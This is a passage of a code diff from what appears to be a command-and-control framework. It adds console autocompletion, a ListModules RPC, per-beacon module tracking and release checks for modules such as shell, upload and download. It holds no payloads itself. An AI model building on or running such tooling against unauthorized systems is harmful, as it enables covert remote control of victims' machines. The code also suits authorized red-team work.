+ if str(getattr(module, "state", "") or "") in states + ]) + + +def _add_contextual_completions( + children: list[tuple[str, list]], + command: Any, + command_specs: list[Any], + grpcClient: Any, + session: Any | None, + listener_hashes: list[str], + tracked_modules: list[Any], +) -> None: + name = str(getattr(command, "name", "") or "") + active_module_names = set(_tracked_module_names(tracked_modules, {"loading", "loaded", "unloading"})) + loaded_module_names = _tracked_module_names(tracked_modules, {"loaded"}) + + if name == "listener": + for listener_hash in listener_hashes: + _add_completion_path(children, ["stop", listener_hash]) + + if name == HelpInstruction: + for command_name in _dedupe_values([getattr(spec, "name", "") for spec in command_specs]): + if command_name != HelpInstruction: + _add_completion_value(children, command_name) + + if name == "loadModule": + _remove_module_completions(children, active_module_names) + for module_name in _module_command_names(command_specs): + if module_name not in active_module_names: + _add_completion_value(children, module_name) + for arg in getattr(command, "args", []): + for artifact in _load_artifacts_for_arg(grpcClient, arg, session): + for value in _artifact_completion_values(artifact): + if _canonical_module_completion_name(value) not in active_module_names: + _add_completion_value(children, value) + + if name == "unloadModule": + children.clear() + for module_name in loaded_module_names: + _add_completion_value(children, module_name) + + +def command_specs_to_completer_data( + command_specs: list[Any], + grpcClient: Any = None, + session: Any | None = None, + listener_hashes: list[str] | None = None, + tracked_modules: list[Any] | None = None, +): + entries: list[tuple[str, list]] = [] + listener_hashes = listener_hashes or [] + tracked_modules = tracked_modules or [] + for command in command_specs: + name = str(getattr(command, "name", "") or "").strip() + if not name: + continue + children: list[tuple[str, list]] = [] + _add_example_completions(children, command) + _add_first_arg_value_completions(children, command) + _add_contextual_completions(children, command, command_specs, grpcClient, session, listener_hashes, tracked_modules) + _add_completion_path(entries, [name]) + entry = _find_entry(entries, name) + if entry is not None: + _merge_completion_entries(entry[1], children) + return entries + + +def build_completer_data(grpcClient: Any = None, beaconHash: str = "", listenerHash: str = ""): + command_specs = _load_commands(grpcClient) + session = _load_current_session(grpcClient, beaconHash, listenerHash) + listener_hashes = _load_listener_hashes(grpcClient) + tracked_modules = _load_modules_for_session(grpcClient, beaconHash, listenerHash) + return command_specs_to_completer_data(command_specs, grpcClient, session, listener_hashes, tracked_modules) + + +class CommandCompletionProvider: + def __init__(self, grpcClient: Any = None, beaconHash: str = "", listenerHash: str = "") -> None: + self.grpcClient = grpcClient + self.beaconHash = beaconHash + self.listenerHash = listenerHash + self._cachedData: list[tuple[str, list]] = [] + self._loadedAt = 0.0 + + def build(self, force: bool = False) -> list[tuple[str, list]]: + now = time.monotonic() + if not force and self._cachedData and now - self._loadedAt < COMPLETER_REFRESH_SECONDS: + return self._cachedData + self._cachedData = build_completer_data(self.grpcClient, self.beaconHash, self.listenerHash) + self._loadedAt = now + return self._cachedData # @@ -696,7 +678,11 @@ def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, usern self.layout.addWidget(self.editorOutput, 8) self.loadConsoleLog() - self.commandEditor = CommandEditor(grpcClient=self.grpcClient) + self.commandEditor = CommandEditor( + grpcClient=self.grpcClient, + beaconHash=self.beaconHash, + listenerHash=self.listenerHash, + ) self.layout.addWidget(self.commandEditor, 2) self.commandEditor.returnPressed.connect(self.runCommand) @@ -1058,11 +1044,18 @@ def quit(self) -> None: class CommandEditor(QLineEdit): tabPressed = pyqtSignal() - def __init__(self, parent: QWidget | None = None, grpcClient=None) -> None: + def __init__( + self, + parent: QWidget | None = None, + grpcClient=None, + beaconHash: str = "", + listenerHash: str = "", + ) -> None: super().__init__(parent) self.cmdHistory: list[str] = [] self.idx: int = 0 + self.completionProvider = CommandCompletionProvider(grpcClient, beaconHash, listenerHash) if os.path.isfile(CmdHistoryFileName): with open(CmdHistoryFileName) as cmdHistoryFile: @@ -1072,13 +1065,21 @@ def __init__(self, parent: QWidget | None = None, grpcClient=None) -> None: QShortcut(Qt.Key.Key_Up, self, self.historyUp) QShortcut(Qt.Key.Key_Down, self, self.historyDown) - self.codeCompleter = CodeCompleter(build_completer_data(grpcClient), self) + self.completionData = self.completionProvider.build(force=True) + self.codeCompleter = CodeCompleter(self.completionData, self) # needed to clear the completer after activation self.codeCompleter.activated.connect(self.onActivated) self.setCompleter(self.codeCompleter) self.tabPressed.connect(self.nextCompletion) + def refreshCompleter(self, force: bool = False): + completionData = self.completionProvider.build(force=force) + if completionData != self.completionData: + self.completionData = completionData + self.codeCompleter.updateData(completionData) + def nextCompletion(self): + self.refreshCompleter() index = self.codeCompleter.currentIndex() self.codeCompleter.popup().setCurrentIndex(index) start = self.codeCompleter.currentRow() @@ -1122,6 +1123,9 @@ def __init__(self, data, parent=None): super().__init__(parent) self.createModel(data) + def updateData(self, data): + self.createModel(data) + def splitPath(self, path): return path.split(' ') diff --git a/C2Client/C2Client/grpcClient.py b/C2Client/C2Client/grpcClient.py index 9af23ce..def6a86 100644 --- a/C2Client/C2Client/grpcClient.py +++ b/C2Client/C2Client/grpcClient.py @@ -236,6 +236,13 @@ def listCommands(self, query: Optional[Any] = None) -> Iterable[Any]: query = TeamServerApi_pb2.CommandQuery() return self._stream_rpc("ListCommands", lambda: self.stub.ListCommands(query, metadata=self.metadata)) + def listModules(self, session: Optional[Any] = None) -> Iterable[Any]: + """Return modules tracked for a beacon session.""" + + if session is None: + session = TeamServerApi_pb2.SessionSelector() + return self._stream_rpc("ListModules", lambda: self.stub.ListModules(session, metadata=self.metadata)) + def stopSession(self, session: Any) -> Any: """Terminate a session.""" diff --git a/C2Client/C2Client/protocol_bindings.py b/C2Client/C2Client/protocol_bindings.py index ca20a04..099731e 100644 --- a/C2Client/C2Client/protocol_bindings.py +++ b/C2Client/C2Client/protocol_bindings.py @@ -10,6 +10,32 @@ from .env import env_path +def _repo_root() -> Path: + return Path(__file__).resolve().parents[2] + + +def _protocol_file() -> Path: + return _repo_root() / "protocol" / "TeamServerApi.proto" + + +def _package_file(root: Path) -> Path: + return root / "c2client_protocol" / "TeamServerApi_pb2.py" + + +def _package_mtime(root: Path) -> float: + try: + return _package_file(root).stat().st_mtime + except OSError: + return 0.0 + + +def _is_current_package(package_file: Path) -> bool: + try: + return package_file.stat().st_mtime >= _protocol_file().stat().st_mtime + except OSError: + return True + + def _candidate_protocol_roots() -> list[Path]: candidates: list[Path] = [] @@ -17,8 +43,14 @@ def _candidate_protocol_roots() -> list[Path]: if env_root: candidates.append(env_root) - repo_root = Path(__file__).resolve().parents[2] - candidates.extend(sorted(repo_root.glob("build*/generated/python_protocol"))) + repo_root = _repo_root() + candidates.extend( + sorted( + repo_root.glob("build*/generated/python_protocol"), + key=_package_mtime, + reverse=True, + ) + ) candidates.append(repo_root / "build" / "generated" / "python_protocol") unique_candidates: list[Path] = [] @@ -33,8 +65,8 @@ def _candidate_protocol_roots() -> list[Path]: def _ensure_protocol_package_on_path() -> None: for candidate in _candidate_protocol_roots(): - package_file = candidate / "c2client_protocol" / "TeamServerApi_pb2.py" - if not package_file.exists(): + package_file = _package_file(candidate) + if not package_file.exists() or not _is_current_package(package_file): continue candidate_str = str(candidate) if candidate_str not in sys.path: diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 9dde710..0926ead 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -23,7 +23,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 15 | [x] | Ameliorer le graph | M | Moyen | Fait. Layout auto qui separe listeners/beacons/pivots, positions manuelles preservees, boutons Auto/Fit/+/- zoom, labels/tooltips, fond sombre et connecteurs recalcules. | | 16 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | | 17 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | -| 18 | [ ] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Partiel. `ListCommands` expose un catalogue serveur, tab UI `Commands`, autocomplete console avec fallback, manifests `sleep/end/listener/loadModule/unloadModule/pwd/whoami/ls/cd`. Reste `ListModules`, aide detaillee et completions contextuelles artifacts/modules charges. | +| 18 | [ ] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Partiel. `ListCommands` expose un catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `ListModules` stream les modules suivis par beacon, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Reste aide detaillee et persistence/historique modules. | | 19 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | | 20 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | | 21 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index ca85deb..ec70bc8 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -7,7 +7,7 @@ import sys sys.modules['grpcClient'] = grpc_client_module -from C2Client.ConsolePanel import Console, ConsolesTab, command_specs_to_completer_data, merge_completer_data +from C2Client.ConsolePanel import CommandEditor, Console, ConsolesTab, build_completer_data, command_specs_to_completer_data from C2Client.grpcClient import TeamServerApi_pb2 @@ -29,6 +29,18 @@ def sendSessionCommand(self, command): def streamSessionCommandResults(self, session): return self.responses + def listCommands(self, query=None): + return iter([]) + + def listSessions(self): + return iter([]) + + def listListeners(self): + return iter([]) + + def listModules(self, session): + return iter([]) + class DummyPanel(QWidget): def __init__(self, parent=None, *_args, **_kwargs): @@ -260,9 +272,14 @@ def test_consoles_tab_uses_dark_flush_pages(qtbot, monkeypatch): assert page.layout().spacing() == 0 -def test_command_specs_seed_console_completer_without_losing_fallback(): +def _completion_children(entries, text): + return next(children for entry_text, children in entries if entry_text == text) + + +def test_command_specs_seed_console_completer_from_manifest_examples(): sleep_spec = SimpleNamespace( name="sleep", + kind="common", examples=["sleep 0.5"], args=[ SimpleNamespace(name="seconds", type="number", values=[]), @@ -270,15 +287,136 @@ def test_command_specs_seed_console_completer_without_losing_fallback(): ) custom_spec = SimpleNamespace( name="custom", + kind="module", examples=["custom --flag"], args=[], ) server_data = command_specs_to_completer_data([sleep_spec, custom_spec]) - merged = merge_completer_data(server_data, [("sleep", [("10", [])]), ("legacy", [])]) - assert ("custom", [("--flag", [])]) in merged - sleep_entry = next(children for text, children in merged if text == "sleep") + assert ("custom", [("--flag", [])]) in server_data + sleep_entry = _completion_children(server_data, "sleep") assert ("0.5", []) in sleep_entry - assert ("10", []) in sleep_entry - assert ("legacy", []) in merged + + +def test_contextual_completer_uses_artifacts_listeners_and_module_specs(): + class FakeGrpc: + def listCommands(self, query=None): + return iter([ + SimpleNamespace( + name="help", + kind="common", + examples=["help loadModule"], + args=[], + ), + SimpleNamespace( + name="listener", + kind="common", + examples=["listener start tcp 10.2.4.8 4444", "listener stop "], + args=[ + SimpleNamespace(name="action", values=["start", "stop"]), + SimpleNamespace(name="type_or_hash", values=["tcp", "smb"]), + ], + ), + SimpleNamespace( + name="loadModule", + kind="common", + examples=["loadModule pwd"], + args=[ + SimpleNamespace( + name="module", + values=[], + artifact_filter=SimpleNamespace( + category="module", + target="beacon", + scope="", + platform="session.platform", + arch="session.arch", + runtime="native", + ), + ) + ], + ), + SimpleNamespace(name="unloadModule", kind="common", examples=[], args=[]), + SimpleNamespace(name="pwd", kind="module", examples=["pwd"], args=[]), + ]) + + def listSessions(self): + return iter([ + SimpleNamespace( + beacon_hash="beacon-1", + listener_hash="listener-1", + os="Linux ubuntu", + arch="x64", + ) + ]) + + def listListeners(self): + return iter([SimpleNamespace(listener_hash="listener-hash")]) + + def listModules(self, session): + assert session.beacon_hash == "beacon-1" + assert session.listener_hash == "listener-1" + return iter([SimpleNamespace(name="pwd", state="loaded")]) + + def listArtifacts(self, query): + assert query.category == "module" + assert query.target == "beacon" + assert query.platform == "linux" + assert query.arch == "x64" + assert query.runtime == "native" + return iter([ + SimpleNamespace(name="libPrintWorkingDirectory.so", display_name="libPrintWorkingDirectory.so"), + SimpleNamespace(name="libListDirectory.so", display_name="libListDirectory.so"), + ]) + + completions = build_completer_data(FakeGrpc(), beaconHash="beacon-1", listenerHash="listener-1") + + listener_children = _completion_children(completions, "listener") + listener_stop_children = _completion_children(listener_children, "stop") + assert ("listener-hash", []) in listener_stop_children + + load_module_children = _completion_children(completions, "loadModule") + assert ("pwd", []) not in load_module_children + assert ("printWorkingDirectory", []) not in load_module_children + assert ("ls", []) in load_module_children + + unload_module_children = _completion_children(completions, "unloadModule") + assert ("pwd", []) in unload_module_children + assert ("ls", []) not in unload_module_children + + help_children = _completion_children(completions, "help") + assert ("loadModule", []) in help_children + assert ("pwd", []) in help_children + + +def test_command_editor_up_arrow_history_still_returns_last_command(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + (tmp_path / ".cmdHistory").write_text("first\nsecond\n") + + editor = CommandEditor(grpcClient=StubGrpc()) + qtbot.addWidget(editor) + + editor.historyUp() + + assert editor.text() == "second" + + +def test_command_editor_tab_cycles_completion_rows_without_reset(tmp_path, qtbot, monkeypatch): + class CompletionGrpc(StubGrpc): + def listCommands(self, query=None): + return iter([ + SimpleNamespace(name="alpha", kind="module", examples=["alpha"], args=[]), + SimpleNamespace(name="beta", kind="module", examples=["beta"], args=[]), + ]) + + monkeypatch.chdir(tmp_path) + editor = CommandEditor(grpcClient=CompletionGrpc()) + qtbot.addWidget(editor) + + assert editor.codeCompleter.setCurrentRow(0) is True + editor.nextCompletion() + assert editor.codeCompleter.currentRow() == 1 + + editor.nextCompletion() + assert editor.codeCompleter.currentRow() == 0 diff --git a/C2Client/tests/test_protocol_bindings.py b/C2Client/tests/test_protocol_bindings.py index 9d04c09..c745eb5 100644 --- a/C2Client/tests/test_protocol_bindings.py +++ b/C2Client/tests/test_protocol_bindings.py @@ -1,4 +1,5 @@ import importlib +import os import sys @@ -29,3 +30,34 @@ def test_protocol_bindings_loads_importable_package_without_build_tree(monkeypat assert protocol_bindings.TeamServerApi_pb2.VALUE == 1 assert protocol_bindings.TeamServerApi_pb2_grpc.VALUE == 1 + + +def test_protocol_bindings_skips_stale_generated_build(monkeypatch, tmp_path): + protocol_bindings = importlib.import_module("C2Client.protocol_bindings") + + repo_root = tmp_path + proto_file = repo_root / "protocol" / "TeamServerApi.proto" + stale_root = repo_root / "build" / "generated" / "python_protocol" + fresh_root = repo_root / "buildNew" / "generated" / "python_protocol" + stale_package = stale_root / "c2client_protocol" / "TeamServerApi_pb2.py" + fresh_package = fresh_root / "c2client_protocol" / "TeamServerApi_pb2.py" + + proto_file.parent.mkdir(parents=True) + stale_package.parent.mkdir(parents=True) + fresh_package.parent.mkdir(parents=True) + proto_file.write_text("proto", encoding="utf-8") + stale_package.write_text("stale", encoding="utf-8") + fresh_package.write_text("fresh", encoding="utf-8") + + os.utime(proto_file, (200, 200)) + os.utime(stale_package, (100, 100)) + os.utime(fresh_package, (300, 300)) + + search_path = [] + monkeypatch.setattr(protocol_bindings, "_repo_root", lambda: repo_root) + monkeypatch.setattr(protocol_bindings, "env_path", lambda _name: None) + monkeypatch.setattr(protocol_bindings.sys, "path", search_path) + + protocol_bindings._ensure_protocol_package_on_path() + + assert search_path == [str(fresh_root)] diff --git a/core b/core index daf8d8c..64af7ab 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit daf8d8ca3d47bf23c86f72848c118a4484fa9e24 +Subproject commit 64af7ab6eb858ea1115988c5a03a17314815c17b diff --git a/packaging/validate_release.py b/packaging/validate_release.py index f363e25..3de568a 100644 --- a/packaging/validate_release.py +++ b/packaging/validate_release.py @@ -238,6 +238,7 @@ def validate_base_release(release_root: Path) -> None: _require_non_empty_file(command_specs_root / "common" / "sleep.json") _require_non_empty_file(command_specs_root / "common" / "end.json") + _require_non_empty_file(command_specs_root / "common" / "help.json") _require_non_empty_file(command_specs_root / "common" / "listener.json") _require_non_empty_file(command_specs_root / "common" / "loadModule.json") _require_non_empty_file(command_specs_root / "common" / "unloadModule.json") @@ -245,6 +246,17 @@ def validate_base_release(release_root: Path) -> None: _require_non_empty_file(command_specs_root / "modules" / "whoami.json") _require_non_empty_file(command_specs_root / "modules" / "ls.json") _require_non_empty_file(command_specs_root / "modules" / "cd.json") + _require_non_empty_file(command_specs_root / "modules" / "ps.json") + _require_non_empty_file(command_specs_root / "modules" / "cat.json") + _require_non_empty_file(command_specs_root / "modules" / "tree.json") + _require_non_empty_file(command_specs_root / "modules" / "run.json") + _require_non_empty_file(command_specs_root / "modules" / "download.json") + _require_non_empty_file(command_specs_root / "modules" / "upload.json") + _require_non_empty_file(command_specs_root / "modules" / "mkDir.json") + _require_non_empty_file(command_specs_root / "modules" / "remove.json") + _require_non_empty_file(command_specs_root / "modules" / "ipConfig.json") + _require_non_empty_file(command_specs_root / "modules" / "netstat.json") + _require_non_empty_file(command_specs_root / "modules" / "shell.json") _require_non_empty_file(client_root / "README.md") _require_non_empty_file(client_root / "pyproject.toml") diff --git a/protocol/TeamServerApi.proto b/protocol/TeamServerApi.proto index 34ffcb0..1408273 100644 --- a/protocol/TeamServerApi.proto +++ b/protocol/TeamServerApi.proto @@ -16,6 +16,7 @@ service TeamServerApi rpc ListArtifacts(ArtifactQuery) returns (stream ArtifactSummary) {} rpc ListCommands(CommandQuery) returns (stream CommandSpec) {} + rpc ListModules(SessionSelector) returns (stream LoadedModule) {} rpc GetCommandHelp(CommandHelpRequest) returns (CommandHelpResponse) {} rpc SendSessionCommand(SessionCommandRequest) returns (CommandAck) {} @@ -196,6 +197,18 @@ message SessionCommandRequest } +message LoadedModule +{ + SessionSelector session = 1; + string name = 2; + string state = 3; + string command_id = 4; + string artifact = 5; + string updated_at = 6; + int32 load_count = 7; +} + + message CommandAck { Status status = 1; diff --git a/teamServer/CMakeLists.txt b/teamServer/CMakeLists.txt index e0caee9..b0ecfe5 100644 --- a/teamServer/CMakeLists.txt +++ b/teamServer/CMakeLists.txt @@ -80,24 +80,37 @@ target_link_libraries(server_core add_executable(TeamServer teamServer/main.cpp) target_link_libraries(TeamServer PRIVATE server_core) +set(C2_COMMON_COMMAND_SPEC_ROOT "${CMAKE_SOURCE_DIR}/core/modules/ModuleCmd/CommandSpecs") +file(GLOB_RECURSE C2_COMMON_COMMAND_SPEC_FILES CONFIGURE_DEPENDS + "${C2_COMMON_COMMAND_SPEC_ROOT}/*.json") +file(GLOB C2_MODULE_COMMAND_SPEC_FILES CONFIGURE_DEPENDS + "${CMAKE_SOURCE_DIR}/core/modules/*/*.json") +set(C2_COPY_MODULE_COMMAND_SPEC_COMMANDS) +foreach(C2_MODULE_COMMAND_SPEC_FILE IN LISTS C2_MODULE_COMMAND_SPEC_FILES) + get_filename_component(C2_MODULE_COMMAND_SPEC_NAME "${C2_MODULE_COMMAND_SPEC_FILE}" NAME) + list(APPEND C2_COPY_MODULE_COMMAND_SPEC_COMMANDS + COMMAND ${CMAKE_COMMAND} -E copy + "${C2_MODULE_COMMAND_SPEC_FILE}" "${C2_RUNTIME_ROOT}/CommandSpecs/modules/${C2_MODULE_COMMAND_SPEC_NAME}") +endforeach() +add_custom_target(teamserver_copy_command_specs + COMMAND ${CMAKE_COMMAND} -E make_directory "${C2_RUNTIME_ROOT}" + COMMAND ${CMAKE_COMMAND} -E remove_directory "${C2_RUNTIME_ROOT}/CommandSpecs" + COMMAND ${CMAKE_COMMAND} -E copy_directory + "${C2_COMMON_COMMAND_SPEC_ROOT}" "${C2_RUNTIME_ROOT}/CommandSpecs" + COMMAND ${CMAKE_COMMAND} -E make_directory + "${C2_RUNTIME_ROOT}/CommandSpecs/modules" + ${C2_COPY_MODULE_COMMAND_SPEC_COMMANDS} + DEPENDS ${C2_COMMON_COMMAND_SPEC_FILES} ${C2_MODULE_COMMAND_SPEC_FILES} + VERBATIM +) +add_dependencies(TeamServer teamserver_copy_command_specs) + add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ "${C2_TEAMSERVER_RUNTIME_OUTPUT_DIR}/$") add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/teamServer/teamServer/TeamServerConfig.json "${C2_TEAMSERVER_RUNTIME_OUTPUT_DIR}/TeamServerConfig.json") add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/teamServer/teamServer/auth_credentials.json "${C2_TEAMSERVER_RUNTIME_OUTPUT_DIR}/auth_credentials.json") -add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy_directory - ${CMAKE_SOURCE_DIR}/core/modules/ModuleCmd/CommandSpecs "${C2_RUNTIME_ROOT}/CommandSpecs") -add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E make_directory - "${C2_RUNTIME_ROOT}/CommandSpecs/modules") -add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy - ${CMAKE_SOURCE_DIR}/core/modules/PrintWorkingDirectory/pwd.json "${C2_RUNTIME_ROOT}/CommandSpecs/modules/pwd.json") -add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy - ${CMAKE_SOURCE_DIR}/core/modules/Whoami/whoami.json "${C2_RUNTIME_ROOT}/CommandSpecs/modules/whoami.json") -add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy - ${CMAKE_SOURCE_DIR}/core/modules/ListDirectory/ls.json "${C2_RUNTIME_ROOT}/CommandSpecs/modules/ls.json") -add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy - ${CMAKE_SOURCE_DIR}/core/modules/ChangeDirectory/cd.json "${C2_RUNTIME_ROOT}/CommandSpecs/modules/cd.json") function(teamserver_add_test target_name link_target) add_executable(${target_name} ${ARGN}) diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 68ba721..f10791b 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -191,6 +191,15 @@ grpc::Status TeamServer::ListCommands(grpc::ServerContext* context, const teamse { return writer->Write(command); }); } +grpc::Status TeamServer::ListModules(grpc::ServerContext* context, const teamserverapi::SessionSelector* session, grpc::ServerWriter* writer) +{ + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + return m_listenerSessionService->streamModulesForSession(*session, [&](const teamserverapi::LoadedModule& module) + { return writer->Write(module); }); +} + grpc::Status TeamServer::SendSessionCommand(grpc::ServerContext* context, const teamserverapi::SessionCommandRequest* command, teamserverapi::CommandAck* response) { auto authStatus = ensureAuthenticated(context); diff --git a/teamServer/teamServer/TeamServer.hpp b/teamServer/teamServer/TeamServer.hpp index 2f62d51..387a721 100644 --- a/teamServer/teamServer/TeamServer.hpp +++ b/teamServer/teamServer/TeamServer.hpp @@ -57,6 +57,7 @@ class TeamServer final : public teamserverapi::TeamServerApi::Service grpc::Status ListArtifacts(grpc::ServerContext* context, const teamserverapi::ArtifactQuery* query, grpc::ServerWriter* writer) override; grpc::Status ListCommands(grpc::ServerContext* context, const teamserverapi::CommandQuery* query, grpc::ServerWriter* writer) override; + grpc::Status ListModules(grpc::ServerContext* context, const teamserverapi::SessionSelector* session, grpc::ServerWriter* writer) override; grpc::Status SendSessionCommand(grpc::ServerContext* context, const teamserverapi::SessionCommandRequest* command, teamserverapi::CommandAck* response) override; grpc::Status StreamSessionCommandResults(grpc::ServerContext* context, const teamserverapi::SessionSelector* session, grpc::ServerWriter* writer) override; diff --git a/teamServer/teamServer/TeamServerListenerSessionService.cpp b/teamServer/teamServer/TeamServerListenerSessionService.cpp index 710efc0..2ce23b9 100644 --- a/teamServer/teamServer/TeamServerListenerSessionService.cpp +++ b/teamServer/teamServer/TeamServerListenerSessionService.cpp @@ -2,6 +2,8 @@ #include #include +#include +#include #include #include #include @@ -59,6 +61,79 @@ std::string extractClientId(const std::multimap(std::tolower(c)); + }); + return value; +} + +std::string currentUtcTimestamp() +{ + const auto now = std::chrono::system_clock::now(); + const std::time_t nowTime = std::chrono::system_clock::to_time_t(now); + std::tm utcTime {}; +#ifdef _WIN32 + gmtime_s(&utcTime, &nowTime); +#else + gmtime_r(&nowTime, &utcTime); +#endif + std::ostringstream output; + output << std::put_time(&utcTime, "%Y-%m-%dT%H:%M:%SZ"); + return output.str(); +} + +std::string basename(std::string value) +{ + const auto slash = value.find_last_of("/\\"); + if (slash != std::string::npos) + value = value.substr(slash + 1); + return value; +} + +std::string stripExtension(std::string value) +{ + const auto dot = value.find_last_of('.'); + if (dot != std::string::npos) + value = value.substr(0, dot); + return value; +} + +std::vector splitCommandLine(const std::string& input) +{ + std::vector parts; + std::string current; + char quote = '\0'; + for (char c : input) + { + if ((c == '\'' || c == '"') && quote == '\0') + { + quote = c; + continue; + } + if (quote != '\0' && c == quote) + { + quote = '\0'; + continue; + } + if (quote == '\0' && std::isspace(static_cast(c))) + { + if (!current.empty()) + { + parts.push_back(current); + current.clear(); + } + continue; + } + current += c; + } + if (!current.empty()) + parts.push_back(current); + return parts; +} } // namespace TeamServerListenerSessionService::TeamServerListenerSessionService( @@ -415,6 +490,215 @@ bool TeamServerListenerSessionService::isListenerAlive(const std::string& listen return false; } +std::string TeamServerListenerSessionService::sessionModuleKey(const std::string& beaconHash) const +{ + return beaconHash; +} + +std::string TeamServerListenerSessionService::canonicalModuleName(const std::string& value) const +{ + std::string name = stripExtension(basename(value)); + if (name.size() > 3 && toLower(name.substr(0, 3)) == "lib") + name = name.substr(3); + if (name.empty()) + return ""; + + const std::string lowered = toLower(name); + if (lowered == "printworkingdirectory") + return "pwd"; + if (lowered == "changedirectory") + return "cd"; + if (lowered == "listdirectory") + return "ls"; + if (lowered == "listprocesses") + return "ps"; + if (lowered == "ipconfig") + return "ipConfig"; + if (lowered == "mkdir") + return "mkDir"; + + name[0] = static_cast(std::tolower(static_cast(name[0]))); + return name; +} + +std::string TeamServerListenerSessionService::moduleNameFromLoadTask(const std::string& input, const C2Message& c2Message) const +{ + std::string moduleName = canonicalModuleName(c2Message.inputfile()); + if (!moduleName.empty()) + return moduleName; + + const std::vector parts = splitCommandLine(input); + if (parts.size() >= 2) + return canonicalModuleName(parts[1]); + return ""; +} + +std::string TeamServerListenerSessionService::moduleNameFromUnloadTask(const std::string& input, const C2Message& c2Message) const +{ + std::string moduleName = canonicalModuleName(c2Message.cmd()); + if (!moduleName.empty()) + return moduleName; + + const std::vector parts = splitCommandLine(input); + if (parts.size() >= 2) + return canonicalModuleName(parts[1]); + return ""; +} + +bool TeamServerListenerSessionService::hasActiveModule( + const std::string& beaconHash, + const std::string& moduleName, + std::string& state) const +{ + std::lock_guard lock(m_loadedModulesMutex); + const auto beaconIt = m_loadedModulesByBeacon.find(sessionModuleKey(beaconHash)); + if (beaconIt == m_loadedModulesByBeacon.end()) + return false; + + const auto moduleIt = beaconIt->second.find(toLower(moduleName)); + if (moduleIt == beaconIt->second.end()) + return false; + + state = moduleIt->second.state; + return state == "loading" || state == "loaded" || state == "unloading"; +} + +void TeamServerListenerSessionService::markModuleLoading( + const std::string& beaconHash, + const std::string& listenerHash, + const std::string& moduleName, + const std::string& commandId, + const std::string& artifact) +{ + if (moduleName.empty()) + return; + + std::lock_guard lock(m_loadedModulesMutex); + BeaconModuleRecord record; + record.beaconHash = beaconHash; + record.listenerHash = listenerHash; + record.name = moduleName; + record.state = "loading"; + record.commandId = commandId; + record.artifact = artifact; + record.updatedAt = currentUtcTimestamp(); + m_loadedModulesByBeacon[sessionModuleKey(beaconHash)][toLower(moduleName)] = record; +} + +void TeamServerListenerSessionService::markModuleUnloading( + const std::string& beaconHash, + const std::string& moduleName, + const std::string& commandId) +{ + if (moduleName.empty()) + return; + + std::lock_guard lock(m_loadedModulesMutex); + auto beaconIt = m_loadedModulesByBeacon.find(sessionModuleKey(beaconHash)); + if (beaconIt == m_loadedModulesByBeacon.end()) + return; + + auto moduleIt = beaconIt->second.find(toLower(moduleName)); + if (moduleIt == beaconIt->second.end()) + return; + + moduleIt->second.state = "unloading"; + moduleIt->second.commandId = commandId; + moduleIt->second.updatedAt = currentUtcTimestamp(); +} + +void TeamServerListenerSessionService::applyModuleResult( + const std::string& beaconHash, + const std::string& listenerHash, + const std::string& commandId, + const std::string& instruction, + bool success) +{ + (void)instruction; + std::lock_guard lock(m_loadedModulesMutex); + auto beaconIt = m_loadedModulesByBeacon.find(sessionModuleKey(beaconHash)); + if (beaconIt == m_loadedModulesByBeacon.end()) + return; + + for (auto moduleIt = beaconIt->second.begin(); moduleIt != beaconIt->second.end();) + { + BeaconModuleRecord& record = moduleIt->second; + if (record.commandId != commandId) + { + ++moduleIt; + continue; + } + + record.listenerHash = listenerHash.empty() ? record.listenerHash : listenerHash; + record.updatedAt = currentUtcTimestamp(); + if (record.state == "loading") + { + if (success) + { + record.state = "loaded"; + record.loadCount = std::max(1, record.loadCount + 1); + ++moduleIt; + } + else + { + moduleIt = beaconIt->second.erase(moduleIt); + } + } + else if (record.state == "unloading") + { + if (success) + moduleIt = beaconIt->second.erase(moduleIt); + else + { + record.state = "loaded"; + ++moduleIt; + } + } + else + { + ++moduleIt; + } + } + + if (beaconIt->second.empty()) + m_loadedModulesByBeacon.erase(beaconIt); +} + +grpc::Status TeamServerListenerSessionService::streamModulesForSession( + const teamserverapi::SessionSelector& 